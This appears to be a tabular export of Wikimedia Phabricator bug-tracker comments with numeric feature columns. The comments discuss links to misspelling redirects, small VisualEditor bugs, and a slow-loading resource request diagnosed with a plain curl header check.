Another approach may be to add misspellings to Wikidata, preferably as a misspellings attribute on the target Qs (similar to labels), rather than have redirects as distinct items in Wikidata (as was done for dab pages).",,,1399700412,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,4.0,1.6666666666666667,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,3.3333333333333335,3.3333333333333335,14.333333333333334,0.0,2.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,13.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,4.666666666666667,9.666666666666666,0.6666666666666666,1.0,4.333333333333333,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,1.0,0.0,0.6666666666666666,14.333333333333334,4.666666666666667,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.0,0.0,1.6666666666666667,0.0,0.0,1.3333333333333333,3.990867579908676,0.7214611872146118,"(In reply to John Broughton from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks for clarifying your solutions are for misspelling redirects only.

What I was focusing on was the underlying problem that the software does not have a good way to determine which redirects are marked as misspellings?  And the concept of misspelling is IMO too complex to be built into the mediawiki layer.

Surely not by looking for [[Template:R from misspelling]] or [[Category:Redirects from misspellings]] (as was done for disambiguation pages)

__MISSPELLING__ ?  That would be equally odd.

Bug 13595 is an interesting idea that records per-redirect custom messages to be used in one context (above target article), but the same approach may be used to provide custom messages to other contexts (such as in VE).

Another approach may be to add misspellings to Wikidata, preferably as a misspellings attribute on the target Qs (similar to labels), rather than have redirects as distinct items in Wikidata (as was done for dab pages)."
193574,Redirects mask incorrect spellings (misspellings) in articles,"(In reply to John Mark Vandenberg from comment #4)

I think we've wandered off topic, for which I'll take some responsibility. The issue is NOT links to redirect pages, which (typically as hatnotes) can be absolutely correct. Rather, the problem is wikilinks to redirect pages **that are marked as being for misspellings**. So, let me reword the four alternatives I gave, above, to (hopefully) make this clearer.

In articlespace (only):

1. The software adds an administrative category, ""Articles with wikilinks to redirect pages for misspellings"", when an article is saved that has one or more of these problematical links.

2. Links to redirect pages for misspellings are shown in yellow, both when previewing an edit and after saving the page. (With VisualEditor, the yellow coloring would appear immediately after typing the wikilink, which is ideal.) However, the editor can save the page with the (problematical) wikilink still on it.

3. The software issues a warning when an editor tries to save a page with a link to a redirect page used to fix a misspelling, but allows the editor to override this. (Misspelled wikilinks need to be highlighted, of course; the software could also make it easy to accept a spelling change, since the redirect page points to the correct spelling of the article being linked to)

4. The software issues a warning when an editor tries to save a page with a link to a redirect page for a misspelling, and prevents the editor from overriding this. (Misspelled wikilinks need to be highlighted, of course.)

** Addendum:** 

I'll also note that since we're concerned with *what the reader sees*, we should ignore wikilinks where a pipe is used, since the software can't (easily) determine if what the reader sees is correct:  [[wikilink to redirect|possibly correctly spelled text]].",,,1399698286,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,3,False,,,44,,0.25,0.0,0.25,1.75,0.5,4.5,1.0,0.0,0.0,0.25,1.75,1.25,0.0,0.25,0.0,2.0,1.75,5.5,12.5,0.0,3.25,0.25,0.75,0.0,0.25,0.0,0.25,0.25,0.75,0.75,0.25,6.0,1.75,0.5,1.25,0.0,0.25,0.5,0.75,0.5,0.0,0.0,0.25,0.5,0.0,0.5,0.0,0.0,0.25,15.0,1.0,0.5,0.5,0.25,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.25,0.75,0.0,0.5,9.5,3.25,6.0,2.5,1.25,11.75,0.0,0.0,0.0,0.25,5.75,0.0,1.0,0.0,2.5,12.5,1.5,0.0,0.5,0.0,2.5,0.0,2.75,4.25,0.25,1.0,0.5,0.0,1.25,3.9944901315789476,0.6449835526315789,"(In reply to John Mark Vandenberg from comment #4)

I think we've wandered off topic, for which I'll take some responsibility. The issue is NOT links to redirect pages, which (typically as hatnotes) can be absolutely correct. Rather, the problem is wikilinks to redirect pages **that are marked as being for misspellings**. So, let me reword the four alternatives I gave, above, to (hopefully) make this clearer.

In articlespace (only):

1. The software adds an administrative category, ""Articles with wikilinks to redirect pages for misspellings"", when an article is saved that has one or more of these problematical links.

2. Links to redirect pages for misspellings are shown in yellow, both when previewing an edit and after saving the page. (With VisualEditor, the yellow coloring would appear immediately after typing the wikilink, which is ideal.) However, the editor can save the page with the (problematical) wikilink still on it.

3. The software issues a warning when an editor tries to save a page with a link to a redirect page used to fix a misspelling, but allows the editor to override this. (Misspelled wikilinks need to be highlighted, of course; the software could also make it easy to accept a spelling change, since the redirect page points to the correct spelling of the article being linked to)

4. The software issues a warning when an editor tries to save a page with a link to a redirect page for a misspelling, and prevents the editor from overriding this. (Misspelled wikilinks need to be highlighted, of course.)

** Addendum:** 

I'll also note that since we're concerned with *what the reader sees*, we should ignore wikilinks where a pipe is used, since the software can't (easily) determine if what the reader sees is correct:  [[wikilink to redirect|possibly correctly spelled text]]."
193570,Redirects mask incorrect spellings (misspellings) in articles,"(In reply to John Broughton from comment #3)
> Google translate didn't turn Comment 2 into anything meaningful for me, so
> here are four alternative solutions, which could be implemented in the
> software, one or more of which may already have been suggested above (in
> Polish).
> 
> ...
> 
> Alternatives #1, #2, and #3 are compatible; all could be implemented
> together. Alternative #4 is problematical in that an editor who is doing a
> minor change might be blocked from saving that change even though he/she had
> nothing to do with creating the wikilinks that go to redirects, and he/she
> may not understand how to correct this. (Think of a relatively new editor,
> or an IP editor.)
> 
> Implementing #1 would be invisible to the reader; #2 might cause a bit of
> confusion.

These solutions all presume that *every* link to a redirect is problematic.  If that is what the software presumes, it will cause more problems than it solves.  There are many instances where a link to a redirect page is appropriate.  If they are categorised into a maintenance category, some idiot will try to 'fix' them.  If it is more difficult to link to redirects using the VE UI, competent editors will complain bitterly.

> *** Or someone could just create a bot that notifies editors that they've
> made a mistake with their wikilink - as does DPL bot, for links to
> disambiguation pages. ***

This would be helpful, and the bot author could adapt the logic to understand when links to redirects are desirable.  For redirects categorised as spelling mistakes, a bot could also fix them automatically.",,,1399683919,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,3,False,,,44,,2.0,0.0,0.0,0.5,0.0,5.0,2.5,0.0,0.0,1.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,3.5,9.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.5,4.5,1.5,1.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,14.0,1.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,5.0,4.5,16.0,3.0,0.5,8.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,3.0,9.5,9.5,0.0,1.0,0.0,3.0,0.0,1.5,2.5,1.0,1.0,1.0,0.0,0.0,3.8483146067415728,0.5842696629213483,"(In reply to John Broughton from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

These solutions all presume that *every* link to a redirect is problematic.  If that is what the software presumes, it will cause more problems than it solves.  There are many instances where a link to a redirect page is appropriate.  If they are categorised into a maintenance category, some idiot will try to 'fix' them.  If it is more difficult to link to redirects using the VE UI, competent editors will complain bitterly.

QUOTE
QUOTE
QUOTE

This would be helpful, and the bot author could adapt the logic to understand when links to redirects are desirable.  For redirects categorised as spelling mistakes, a bot could also fix them automatically."
193564,Redirects mask incorrect spellings (misspellings) in articles,"Google translate didn't turn Comment 2 into anything meaningful for me, so here are four alternative solutions, which could be implemented in the software, one or more of which may already have been suggested above (in Polish).

In articlespace (only):

1. The software adds an administrative category, ""Articles with wikilinks to redirect pages"", when an article is saved that has one or more problematical links.

2. Links to redirect pages are shown in yellow, both when previewing an edit and after saving the page. (With VisualEditor, the yellow coloring would appear immediately after typing the wikilink, which is ideal.) However, the editor can save the page with the (problematical) wikilink still on it.

3. The software issues a warning when an editor tries to save a page with a link to a redirect page, but allows the editor to override this. (Problem wikilinks need to be highlighted, of course.)

4. The software issues a warning when an editor tries to save a page with a link to a redirect page, and prevents the editor from overriding this. (Problem wikilinks need to be highlighted, of course.)

Alternatives #1, #2, and #3 are compatible; all could be implemented together. Alternative #4 is problematical in that an editor who is doing a minor change might be blocked from saving that change even though he/she had nothing to do with creating the wikilinks that go to redirects, and he/she may not understand how to correct this. (Think of a relatively new editor, or an IP editor.)

Implementing #1 would be invisible to the reader; #2 might cause a bit of confusion.

*** Or someone could just create a bot that notifies editors that they've made a mistake with their wikilink - as does DPL bot, for links to disambiguation pages. ***",,,1371419572,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,2,False,,,-3,,0.25,0.5,0.0,2.0,0.5,4.5,1.0,0.0,0.25,0.0,1.75,0.5,0.0,0.25,0.0,0.25,0.75,4.75,10.75,0.75,2.5,0.0,0.0,0.0,0.5,0.0,0.25,0.25,2.0,0.5,0.0,5.0,0.75,0.25,1.25,0.0,0.25,0.5,0.0,0.5,0.0,1.5,0.25,0.5,0.0,1.0,0.5,0.25,0.0,14.75,1.0,0.5,0.5,0.75,0.0,0.0,0.0,0.25,0.75,0.0,0.75,1.0,0.0,0.0,1.0,0.5,0.75,8.75,3.5,5.25,1.75,2.5,10.75,0.0,0.0,0.0,1.5,5.75,0.0,2.75,0.0,2.0,10.75,1.5,0.0,0.5,0.0,2.0,0.0,3.25,5.0,0.25,2.0,0.5,0.0,0.75,3.91658087394189,0.6934339967970717,"Google translate didn't turn Comment 2 into anything meaningful for me, so here are four alternative solutions, which could be implemented in the software, one or more of which may already have been suggested above (in Polish).

In articlespace (only):

1. The software adds an administrative category, ""Articles with wikilinks to redirect pages"", when an article is saved that has one or more problematical links.

2. Links to redirect pages are shown in yellow, both when previewing an edit and after saving the page. (With VisualEditor, the yellow coloring would appear immediately after typing the wikilink, which is ideal.) However, the editor can save the page with the (problematical) wikilink still on it.

3. The software issues a warning when an editor tries to save a page with a link to a redirect page, but allows the editor to override this. (Problem wikilinks need to be highlighted, of course.)

4. The software issues a warning when an editor tries to save a page with a link to a redirect page, and prevents the editor from overriding this. (Problem wikilinks need to be highlighted, of course.)

Alternatives #1, #2, and #3 are compatible; all could be implemented together. Alternative #4 is problematical in that an editor who is doing a minor change might be blocked from saving that change even though he/she had nothing to do with creating the wikilinks that go to redirects, and he/she may not understand how to correct this. (Think of a relatively new editor, or an IP editor.)

Implementing #1 would be invisible to the reader; #2 might cause a bit of confusion.

*** Or someone could just create a bot that notifies editors that they've made a mistake with their wikilink - as does DPL bot, for links to disambiguation pages. ***"
193561,Redirects mask incorrect spellings (misspellings) in articles,"The solution on pl.wiki is not to create redirects from misspelings. The ""Did you mean"" feature catches these well enough, and educates the reader on his mistake.

(Policy: https://pl.wikipedia.org/wiki/Wikipedia:Przekierowanie#Stosowanie_przekierowa.C5.84 , last paragraph)",,,1355001897,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8780487804878049,"The solution on pl.wiki is not to create redirects from misspelings. The ""Did you mean"" feature catches these well enough, and educates the reader on his mistake.

(Policy: URL , last paragraph)"
193557,Redirects mask incorrect spellings (misspellings) in articles,This is a serious problem on some wikis (thousands of misspelled links): <https://en.wikipedia.org/wiki/Wikipedia:Database_reports/Linked_misspellings>.,,,1355001544,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,0,False,,,-30,,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,4.0625,1.0,This is a serious problem on some wikis (thousands of misspelled links): <URL
44839,VisualEditor: Links should not be allowed to be created spanning only whitespace,"Select some whitespace and open the link inspector and create the link.
The SurfaceFragment.trimRange method is not trimming the space if the range only contains space.

The correct behavior should be to trim the space then insert the location text into the document.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1354917180,1354921736.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-2mqmky2wjztbg6g74ags,task_description,resolved,True,c1,0,False,False,True,-30,,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,9.0,2.0,3.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.53030303030303,0.6363636363636364,"Select some whitespace and open the link inspector and create the link.
The SurfaceFragment.trimRange method is not trimming the space if the range only contains space.

The correct behavior should be to trim the space then insert the location text into the document.

--------------------------
**Version**: unspecified
**Severity**: normal"
191581,VisualEditor: Links should not be allowed to be created spanning only whitespace,"Patch in https://gerrit.wikimedia.org/r/37541
This is DM stuff so Trevor or Roan will need to review.",,,1354917532,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-2mqmky2wjztbg6g74ags,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,35.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,1.0,"Patch in GERRIT_URL
This is DM stuff so Trevor or Roan will need to review."
44750,VisualEditor: Page creation should have a customized save button,"Similar to bug 41865

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1354749120,1354758526.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-mzqqlikp4a7wrk4foid4,task_description,resolved,True,c1,0,False,False,True,-30,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.045454545454546,0.5909090909090909,"Similar to bug 41865

--------------------------
**Version**: unspecified
**Severity**: normal"
186114,VisualEditor: Page creation should have a customized save button,Merged,,,1354758526,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mzqqlikp4a7wrk4foid4,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Merged
186107,VisualEditor: Page creation should have a customized save button,Fixed in gerrit 37144.,,,1354750343,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mzqqlikp4a7wrk4foid4,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Fixed in gerrit 37144.
44653,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**Author:** `bugzilla.wikimedia.org.76374`

**Description:**
curl -I 'http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.centralNotice.bannerController%7Cext.wikimediaShopLink.core%7Cjquery.client%2Ccookie%2CmwExtension%7Cmediawiki.cldr%2CjqueryMsg%2Clanguage%2Cnotify%2Cutil%7Cmediawiki.language.data%2Cinit%7Cmediawiki.legacy.ajax%2Cwikibits%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.startup&skin=vector&version=20121203T183954Z&*'
curl: (52) Empty reply from server

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1354560840,1490658160.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-d6ih3cdrbybmct3lwinv,task_description,resolved,True,c1,0,False,False,False,-30,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1702127659574466,0.5531914893617021,"**Author:** CODE

**Description:**
curl -I 'URL
curl: (52) Empty reply from server

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
832877,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out",">>! In T44653#480329, @Nemo_bis wrote:
> Every time I look (e.g. on webpagetest.org), I always find one or two ""failing"" load.php calls however I test it. Usually it's the CentralNotice taking too much

From looking at the original description I tend to think it was a CentralNotice issue indeed. On the other hand, bannercontroller stuff was refactored in the meanwhile.",,,1490687031,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,195,,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,4.5588235294117645,0.8529411764705882,"QUOTE
QUOTE

From looking at the original description I tend to think it was a CentralNotice issue indeed. On the other hand, bannercontroller stuff was refactored in the meanwhile."
832775,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Closing for now as most likely the original cause can no longer cause a page to take 12 seconds to load given the following major changes that have happened since then.

* Switch to HTTPS and HTTP/2 made bits re-use the same connection instead of establishing a new connection, thus speeding things up and reducing the changes that a connection gets cut off.
 * {T96848}
 * {T94896}
 * {T95448}
 * ..
* Since then, bits itself has been folded into the main domains entirely, further optimising this re-use: 
 * {T107430}
* Since then, we've also reduced the number of requests that block rendering and page-ready
 * {T107399}",,,1490658160,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,195,,0.0,0.0,0.5,0.5,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,1.0,7.5,8.0,0.0,1.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,2.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.5,0.5,12.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.5,5.0,0.5,7.0,2.0,1.5,5.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,1.5,8.0,5.5,0.0,0.0,0.0,1.5,0.0,1.5,1.5,0.5,3.0,0.0,0.5,0.0,3.7642857142857142,0.7142857142857143,"Closing for now as most likely the original cause can no longer cause a page to take 12 seconds to load given the following major changes that have happened since then.

* Switch to HTTPS and HTTP/2 made bits re-use the same connection instead of establishing a new connection, thus speeding things up and reducing the changes that a connection gets cut off.
 * {T96848}
 * {T94896}
 * {T95448}
 * ..
* Since then, bits itself has been folded into the main domains entirely, further optimising this re-use: 
 * {T107430}
* Since then, we've also reduced the number of requests that block rendering and page-ready
 * {T107399}"
484378,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","@Nemo_bis: I'm asking anybody in the CC list as someone might have faced the same problem in that IP range. 
If I had asked anybody specifically, I would have prefixed a name. :)",,,1435685379,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,104,,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,10.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,18.0,3.0,0.0,10.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,10.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7948717948717947,0.8205128205128205,"SCREEN_NAME: I'm asking anybody in the CC list as someone might have faced the same problem in that IP range. 
If I had asked anybody specifically, I would have prefixed a name. :)"
484366,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","> Does this problem still happen nowadays?

Who are you asking? The reporter is one of those made into ghosts by the bugzilla murder.",,,1435684764,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,104,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8095238095238093,1.0,"QUOTE

Who are you asking? The reporter is one of those made into ghosts by the bugzilla murder."
484228,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","
Does this problem still happen nowadays?",,,1435675753,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,3,True,,,104,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"
Does this problem still happen nowadays?"
479667,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","> We no longer use bits to serve this content. So this can probably be closed now ?

